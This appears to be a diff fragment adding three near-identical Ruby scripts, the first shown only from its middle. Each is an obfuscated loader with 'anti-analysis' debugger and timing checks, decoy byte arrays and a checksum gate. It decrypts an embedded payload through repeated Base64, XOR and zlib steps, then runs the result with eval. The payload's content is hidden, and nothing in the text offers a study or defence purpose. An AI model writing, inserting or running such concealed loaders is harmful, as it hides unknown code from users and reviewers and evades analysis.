84, 113, 168, 149, 116, 229, 74, 207, 9, 186, 153, 248, 11, 33, 185, 148, 179, 72, 88, 139, 131, 201, 196, 53, 97, 5, 148, 233, 144, 65, 101, 235, 63, 138, 84, 28, 197, 125, 229, 165, 123, 134, 115, 240, 17, 67, 37, 32, 121, 58, 110, 159, 229, 235, 163, 230, 191, 210, 214, 97, 85, 5, 141, 204, 124, 175, 193, 88, 51, 218, 139, 239, 136, 11, 192, 140, 72, 12, 80, 48, 46, 148, 92, 167, 236, 71, 31, 32, 161, 128, 61, 103, 138, 180, 62, 101, 154, 196, 69, 238, 23, 180, 176, 95, 232, 27, 171, 64, 231, 6, 231, 230, 221, 205, 122, 9, 112, 0, 1, 39, 10, 190, 216, 146, 89, 44, 226, 38, 122, 60, 87, 206, 217, 24, 37, 131, 32, 13, 140, 87, 211, 186, 139, 28, 151, 17, 52, 79, 197, 80, 187, 3, 141, 89, 33, 178, 35, 112, 25, 226, 226, 58, 93, 49, 70, 112, 205, 178, 247, 1, 27, 32, 41, 38, 111, 147, 31, 224, 120, 38, 85, 11, 244, 69, 20, 183, 254, 109, 140, 216, 198, 241, 124, 237, 106, 157, 21, 59, 151, 183, 98, 144, 21, 196, 173, 196, 145, 159, 212, 178, 215, 130, 237, 2, 67, 126, 14, 227, 60, 131, 227, 223, 209, 75, 14, 7, 155, 141, 160, 173, 65, 86, 112, 9, 172, 57, 25, 12, 209, 117, 46, 203, 8, 224, 194, 154, 13, 224, 6, 135, 80, 198, 99, 238, 86, 39, 245, 117, 120, 76, 176, 77, 219, 59, 243, 45, 33, 247, 155, 37, 136, 248, 223, 38, 121, 113, 2, 34, 214, 194, 130, 83, 144, 136, 142, 12, 96, 72, 83, 254, 58, 147, 6, 51, 159, 243, 234, 232, 23, 96, 167, 36, 213, 147, 202, 1, 175, 229, 248, 39, 184, 253, 226, 246, 77, 177, 192, 229, 1, 147, 244, 235, 88, 86, 228, 129, 105, 225, 132, 224, 143, 200, 3, 134, 196, 20, 125, 229] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _o096629 = [123, 179, 78, 142, 161, 190, 41, 206, 153, 198, 18, 187, 243, 180, 189, 162, 168, 194, 77, 100]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _kb39149 = [0, 1, 1, 0, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _n7770ae = 'ea1ecb318c33e8a38cfed622e1b11b20c38456831f60ec80f954a7f3295ce59f'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _rfeb08a = [33, 158, 180, 235, 156, 46, 190, 43, 242, 221, 52, 194, 162, 125, 163, 73, 183, 35, 166, 175, 113, 106, 49, 35, 50, 86, 189, 19, 193, 213, 63, 105, 69, 142, 174, 240, 176, 76, 82, 132, 6, 154, 167, 44, 187, 61, 207, 189, 16, 81, 43, 195, 67, 140, 50, 128, 191, 216, 83, 253, 179, 214, 60]
64
+ _eede7c3 = [116, 222, 190, 55, 226, 29, 149, 236, 77, 126, 128, 68, 171, 154, 180, 6, 100, 202, 196, 48, 149, 125, 46, 28, 27, 251, 73, 101, 92, 64, 67, 196, 240, 69, 106, 56, 253, 75, 239, 127, 209, 213, 69, 250, 161, 81, 57, 179, 19, 113, 129, 175, 228]
65
+ _i67ef0d = [163, 241, 110, 104, 102, 32, 25, 188, 159, 197, 126, 178, 142, 116, 243, 22, 131, 88, 8, 33, 62, 158, 249, 234, 92, 196, 90, 134, 230, 124, 242, 56, 117, 203, 87, 61, 182, 230, 108, 127, 142, 180, 66, 65, 97, 249, 44, 245, 71, 236, 48, 25, 194, 21, 228, 17, 189, 113, 69, 14, 76, 235, 3, 121, 217, 166, 140, 32, 100, 137, 186, 207, 60, 165, 190, 157, 223, 110, 225, 230, 11, 152, 42, 226, 151, 21, 206, 125, 56, 195, 247, 246, 107, 57, 122, 187, 221, 200, 46, 6, 123, 94, 174, 7, 15, 251, 168, 18, 76, 150, 183, 156, 87, 28, 113]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _s7f81f4.call(_w8ab974, _kb39149, _o096629, _n7770ae)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _oec1c26 = _w8ab974.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_raff2a7|
79
+ # Calculate which round we're reversing
80
+ _offc8e4 = 5 - _raff2a7 - 1
81
+
82
+ # Get key for this reverse round
83
+ _yd2175a = 4
84
+ _dd7aaee = _offc8e4 * _yd2175a
85
+ _gf47f8f = _o096629[_dd7aaee, _yd2175a]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _kb39149[_offc8e4] == 1
93
+ _y865f2b = _oec1c26.pack('C*')
94
+ _y865f2b = Base64.strict_decode64(_y865f2b)
95
+ _oec1c26 = _y865f2b.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _oec1c26 = _o25302a.call(_oec1c26, _gf47f8f)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _y865f2b = _oec1c26.pack('C*')
103
+ _y865f2b = Zlib::Inflate.inflate(_y865f2b)
104
+ _oec1c26 = _y865f2b.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _x245e47 = _oec1c26.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _x245e47.strip.empty? || _x245e47.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_x245e47, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _gf2e168
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_gf2e168.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _o481b70 = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _v6a201e = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _v6a201e) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _a0c3dac = _o481b70.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _q1585cd = ->(_zb0af0d, _cb55fa3) do
32
+ _p4b4dca = []
33
+ _zb0af0d.each_with_index do |byte, idx|
34
+ _p4b4dca << (byte ^ _cb55fa3[idx % _cb55fa3.length])
35
+ end
36
+ _p4b4dca
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _l697ec2 = lambda do |_a70d534, _e8fee72, _vde9ce5, _n2f8222|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_a70d534.pack('C*'))
44
+ if current_hash != _n2f8222
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _a70d534 = [131, 73, 49, 11, 50, 49, 87, 254, 251, 147, 236, 193, 17, 209, 212, 163, 62, 1, 166, 73, 169, 192, 254, 224, 125, 57, 158, 154, 89, 21, 147, 177, 20, 255, 178, 42, 231, 210, 2, 80, 166, 92, 33, 244, 13, 109, 244, 98, 224, 195, 56, 215, 235, 18, 57, 4, 225, 192, 62, 145, 224, 49, 159, 112, 155, 241, 246, 41, 179, 172, 32, 143, 3, 103, 138, 211, 31, 102, 114, 117, 238, 190, 130, 113, 194, 118, 99, 141, 88, 42, 212, 185, 168, 83, 81, 76, 185, 14, 85, 73, 146, 78, 249, 139, 90, 129, 59, 168, 128, 204, 230, 49, 96, 114, 166, 137, 111, 106, 50, 140, 44, 216, 6, 87, 1, 99, 166, 33, 52, 61, 202, 104, 0, 36, 163, 184, 11, 181, 111, 13, 172, 151, 225, 94, 56, 130, 211, 166, 204, 214, 198, 93, 134, 38, 149, 250, 64, 115, 0, 248, 43, 76, 126, 128, 43, 121, 193, 159, 39, 37, 22, 13, 139, 196, 155, 175, 202, 144, 210, 26, 52, 211, 228, 216, 94, 191, 97, 62, 158, 120, 53, 40, 160, 226, 245, 186, 58, 44, 125, 104, 11, 145, 138, 125, 71, 60, 204, 85, 227, 121, 62, 252, 130, 163, 1, 70, 112, 103, 215, 137, 85, 0, 190, 186, 182, 120, 158, 184, 198, 200, 174, 114, 77, 120, 179, 131, 119, 67, 5, 67, 30, 72, 196, 62, 179, 245, 255, 182, 70, 46, 180, 103, 102, 199, 18, 153, 127, 225, 238, 27, 204, 55, 127, 16, 63, 96, 48, 97, 74, 53, 205, 90, 16, 145, 189, 235, 116, 203, 141, 24, 149, 143, 31, 139, 177, 204, 16, 42, 129, 237, 75, 98, 66, 187, 197, 138, 222, 82, 193, 220, 129, 1, 40, 126, 215, 10, 177, 105, 164, 119, 152, 252, 223, 86, 18, 209, 245, 166, 220, 90, 226, 140, 137, 53, 98, 91, 86, 13, 36, 245, 0, 64, 160, 143, 126, 144, 119, 28, 169, 2, 227, 122, 228, 183, 65, 253, 194, 82, 84, 50, 241, 85, 182, 159, 73, 20, 84, 146, 226, 196, 107, 135, 81, 55, 244, 106, 239, 91, 104] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _tb97a88 = [81, 209, 8, 48, 224, 80, 180, 239, 229, 242, 193, 192, 140, 118, 206, 36, 251, 147, 60, 206]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _e8fee72 = [0, 0, 0, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _n2f8222 = '0f419c2dcb9f3ba46d783e41a61b1cbb293bb6a5859851a7ba7f2b4b880f77c9'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _h5c8f18 = [205, 64, 10, 228, 13, 166, 173, 178, 205, 168, 113, 173, 122, 211, 74, 137, 253, 237, 14, 119, 46, 88, 68, 223, 102, 71, 222, 3, 48, 145, 184, 104, 65, 202, 222, 107, 106, 179, 161, 63, 156, 180, 147, 24, 46, 92, 133, 190, 46, 115, 33, 209, 32, 69, 104, 232, 188, 48, 176, 80, 104, 10, 30, 91, 11, 137, 58, 202, 222, 28, 36, 249, 63, 103, 177, 221, 46, 248, 109, 221, 73, 143, 243, 242, 86, 203, 108, 39, 220, 243, 174, 221, 192, 197, 242, 31, 213, 44, 154, 117, 191, 137, 145, 181, 67, 234, 24, 70, 230, 7, 178, 200, 64, 58, 202, 8, 243, 218, 4, 108, 153, 243, 144, 17, 225, 5]
64
+ _y7615a0 = [16, 36, 199, 68, 90, 143, 156, 181, 206, 70, 7, 176, 73, 233, 67, 226, 227, 253, 85, 205, 32, 54, 188, 197, 31, 213, 226, 118, 33, 249, 142, 63, 244, 187, 162, 84, 172, 25, 181, 143, 143, 132, 64, 241, 87, 139, 44, 197, 91, 68, 131, 253, 125, 191, 27, 23, 153, 46, 58, 182, 154, 101, 135, 129, 190, 104, 103, 239, 53, 73, 97, 234, 153, 115, 241, 43, 57, 77, 176, 86, 102, 217, 11, 49, 173, 124, 70, 104, 212, 247, 238, 71, 124, 149, 242, 57, 72, 169, 45, 209, 215, 58, 134, 119, 248, 99, 216, 35, 212, 205, 134, 251, 95, 124, 27, 213, 181, 252, 166, 232, 119, 9, 14, 74, 195, 60, 61, 43, 83, 106, 196, 10, 88, 208, 4, 251, 110, 5, 242, 189, 72, 61]
65
+ _o1cdc4c = [88, 34, 40, 181, 34, 163, 213, 222, 85, 251, 43, 75, 67, 44, 144, 204, 67, 232, 181, 173, 215, 152, 96, 116, 191, 20, 250, 79, 214, 36, 53, 136, 6, 114, 160, 185, 230, 220, 94, 226, 94, 68, 167, 161, 115, 191, 204, 217, 183, 9, 63, 184, 159, 178, 94, 108, 6, 7, 51, 173, 108, 225, 189, 225, 167, 160, 180, 186, 97, 129, 18, 80, 245, 52, 67, 230, 103, 139, 185, 238, 179, 53, 66, 175, 213, 94, 68, 142]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _l697ec2.call(_a70d534, _e8fee72, _tb97a88, _n2f8222)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _jbd329d = _a70d534.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_za579d7|
79
+ # Calculate which round we're reversing
80
+ _s1429a8 = 5 - _za579d7 - 1
81
+
82
+ # Get key for this reverse round
83
+ _wf9641b = 4
84
+ _a4155bd = _s1429a8 * _wf9641b
85
+ _cbd9365 = _tb97a88[_a4155bd, _wf9641b]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _e8fee72[_s1429a8] == 1
93
+ _u2ffb3c = _jbd329d.pack('C*')
94
+ _u2ffb3c = Base64.strict_decode64(_u2ffb3c)
95
+ _jbd329d = _u2ffb3c.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _jbd329d = _q1585cd.call(_jbd329d, _cbd9365)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _u2ffb3c = _jbd329d.pack('C*')
103
+ _u2ffb3c = Zlib::Inflate.inflate(_u2ffb3c)
104
+ _jbd329d = _u2ffb3c.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _u4c6c2e = _jbd329d.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _u4c6c2e.strip.empty? || _u4c6c2e.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_u4c6c2e, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _l521348
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_l521348.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _l673286 = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _o13974b = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _o13974b) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _h1cc4f4 = _l673286.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _s4a9111 = ->(_qfcd4bd, _o0267c2) do
32
+ _zdc9eaa = []
33
+ _qfcd4bd.each_with_index do |byte, idx|
34
+ _zdc9eaa << (byte ^ _o0267c2[idx % _o0267c2.length])
35
+ end
36
+ _zdc9eaa
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _bb63eeb = lambda do |_g5e2db1, _d6c37fb, _x22eadb, _hd8afce|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_g5e2db1.pack('C*'))
44
+ if current_hash != _hd8afce
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _g5e2db1 = [66, 141, 204, 186, 125, 245, 99, 75, 58, 87, 9, 120, 131, 119, 105, 207, 255, 8, 153, 222, 190, 61, 97, 64, 174, 223, 117, 43, 127, 21, 240, 134, 165, 62, 75, 41, 5, 126, 16, 210, 173, 73, 69, 218, 115, 220, 43, 96, 138, 56, 68, 180, 75, 92, 27, 196, 41, 183, 135, 215, 195, 177, 108, 140, 221, 206, 106, 116, 188, 24, 77, 45, 190, 194, 206, 183, 184, 177, 32, 238, 185, 157, 166, 210, 251, 92, 18, 60, 217, 140, 74, 165, 188, 173, 144, 152, 88, 203, 6, 166, 0, 172, 77, 8, 119, 81, 116, 48, 167, 174, 194, 7, 169, 196, 178, 205, 80, 180, 40, 159, 62, 58, 49, 174, 70, 75, 163, 205, 87, 253, 158, 26, 24, 178, 100, 83, 12, 7, 145, 3, 106, 248, 9, 136, 183, 134, 37, 17, 111, 13, 34, 229, 150, 99, 81, 149, 236, 229, 172, 108, 219, 180, 45, 50, 116, 201, 69, 14, 21, 56, 141, 47, 144, 114, 217, 199, 211, 253, 108, 243, 55, 164, 102, 184, 114, 117, 172, 78, 77, 221, 132, 39, 199, 106, 152, 202, 156, 5, 123, 94, 148, 229, 150, 227, 119, 61, 166, 174, 216, 56, 136, 153, 166, 216, 213, 79, 239, 159, 3, 166, 141, 224, 82, 6, 70, 134, 169, 196, 167, 173, 163, 212, 103, 197, 119, 230, 108, 101, 10, 97, 72, 113, 250, 183, 97, 10, 108, 33, 225, 30, 123, 140, 20, 40, 114, 135, 209, 200, 79, 219, 90, 175, 185, 246, 91, 171, 183, 188, 199, 110, 102, 31, 229, 89, 69, 173, 245, 69, 82, 223, 181, 74, 57, 49, 158, 184, 166, 68, 47, 79, 139, 69, 204, 242, 68, 182, 246, 232, 8, 142, 124, 1, 109, 62, 167, 111, 27, 212, 186, 234, 60, 89, 44, 191, 139, 128, 200, 18, 230, 112, 249, 202, 222, 150, 241, 81, 130, 82, 230, 135, 60, 26, 42, 214, 243, 98, 113, 186, 10, 78, 39, 76, 154, 72, 83, 184, 88, 36, 255, 101, 209, 116, 88, 45, 80, 101, 178, 231, 111, 55, 209, 65, 1, 90, 63, 2, 111, 125, 32, 41, 223, 36, 40, 0, 228, 46, 252, 4, 203, 34, 161, 243, 191, 103, 172, 227, 95, 153, 135, 167, 91, 224, 36, 251, 212, 80, 253, 110, 248, 69, 241, 87, 49, 137, 215, 14, 116, 173, 231, 156, 86, 114, 48, 98, 80, 19, 139, 11, 61, 181, 176, 137, 147, 175, 151, 177, 98, 175, 180, 133, 11, 17, 173, 212, 164, 101, 33, 178, 3, 213, 222, 119, 65, 159, 61, 132, 59, 4, 162, 45, 250, 83, 159, 179, 120, 99, 199, 83, 151, 240, 236, 225, 4, 46, 174, 46, 158, 115, 171, 231, 219, 69, 138, 214, 68, 195, 178, 158, 47, 81, 152, 141, 128, 191, 19, 211, 9, 107, 176, 59, 192, 218, 6, 39, 24, 116, 201, 183, 73, 6, 156, 89, 152, 251, 39, 203, 153, 65, 105, 49, 192, 3, 164, 162, 14, 230, 131, 156, 150, 149, 247, 198, 248, 22, 109, 223, 21, 6, 180, 117, 20, 142, 121, 25, 188, 137, 3, 216, 6, 178, 193, 160, 214, 35, 192, 179, 56] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _sbb74fe = [13, 203, 114, 113, 155, 73, 205, 235, 129, 80, 193, 229, 248, 60, 66, 60, 58, 87, 201, 123]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _d6c37fb = [1, 0, 0, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _hd8afce = '7639ae59d62f4cff64db5293f03297520eec038733c44d580794e73b7a53a492'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _b2fde98 = [88, 104, 174, 226, 126, 11, 102, 64, 47, 106, 103, 93, 122, 76, 69, 203, 104, 15, 150, 177, 231, 156, 192, 89, 215, 28, 45, 208, 181, 111, 9, 254, 159, 191, 186, 253, 219, 145, 249, 181, 164, 196, 142, 148, 3, 66, 43, 99, 97, 37, 62, 149, 150, 24, 238, 107, 238, 160, 173, 157, 55, 57, 174, 246, 218, 245, 234, 68, 109, 121, 36, 165, 57, 111, 173, 181, 226, 79, 171, 196, 217, 44, 84, 224, 235, 103, 11, 114, 195, 231, 88, 4, 203, 135, 18, 87, 50, 142, 17, 118, 254, 120, 149, 86, 219, 0, 19, 199, 124, 149, 164, 221, 104, 50, 212, 231, 46, 186]
64
+ _lf350cd = [71, 212, 112, 132, 23, 252, 78, 193, 212, 189, 151, 142, 9, 86, 149, 159, 110, 77, 4, 214, 167, 158, 57, 233, 70, 117, 74, 94, 163, 89, 77, 227, 113, 240, 176, 192, 103, 242, 117, 98, 120, 237, 145, 96, 31, 221, 38, 57, 232, 125, 199, 142, 126, 114, 0, 109, 90, 78, 99, 29, 87, 44, 106, 195, 79, 251, 214, 96, 179, 147, 217, 135, 197, 38, 76, 89, 115, 99, 200, 108, 215, 92, 143, 133, 46, 241, 176, 193, 234, 176, 52, 205, 2, 225, 164, 133, 37, 250, 203, 155, 147, 155, 212, 117, 7, 12]
65
+ _d8e704d = [206, 203, 47, 10, 21, 56, 133, 56, 3, 115, 136, 229, 153, 147, 17, 130, 165, 163, 19, 46, 18, 251, 21, 175, 171, 207, 3, 146, 74, 231, 88, 113, 33, 238, 82, 96, 6, 25, 112, 92, 164, 110, 5, 45, 26, 44, 57, 25, 245, 238, 155, 120, 184, 27, 103, 137, 41, 199, 250, 130, 100, 21, 132, 222, 111, 245, 171, 46, 153, 229, 138, 210, 140, 191, 227, 143, 134, 37, 202, 27, 1, 182, 125, 165, 79, 204, 72, 82, 102, 50, 109, 111, 89, 62, 137, 68, 187, 62, 68, 254, 125, 160]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _bb63eeb.call(_g5e2db1, _d6c37fb, _sbb74fe, _hd8afce)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _z90d4e7 = _g5e2db1.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_i217299|
79
+ # Calculate which round we're reversing
80
+ _x1f73d1 = 5 - _i217299 - 1
81
+
82
+ # Get key for this reverse round
83
+ _z9a89a0 = 4
84
+ _gff75e8 = _x1f73d1 * _z9a89a0
85
+ _h979cfb = _sbb74fe[_gff75e8, _z9a89a0]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _d6c37fb[_x1f73d1] == 1
93
+ _b76eed3 = _z90d4e7.pack('C*')
94
+ _b76eed3 = Base64.strict_decode64(_b76eed3)
95
+ _z90d4e7 = _b76eed3.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _z90d4e7 = _s4a9111.call(_z90d4e7, _h979cfb)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _b76eed3 = _z90d4e7.pack('C*')
103
+ _b76eed3 = Zlib::Inflate.inflate(_b76eed3)
104
+ _z90d4e7 = _b76eed3.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _oa2b9ba = _z90d4e7.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _oa2b9ba.strip.empty? || _oa2b9ba.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_oa2b9ba, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _ac0b94b
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_ac0b94b.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end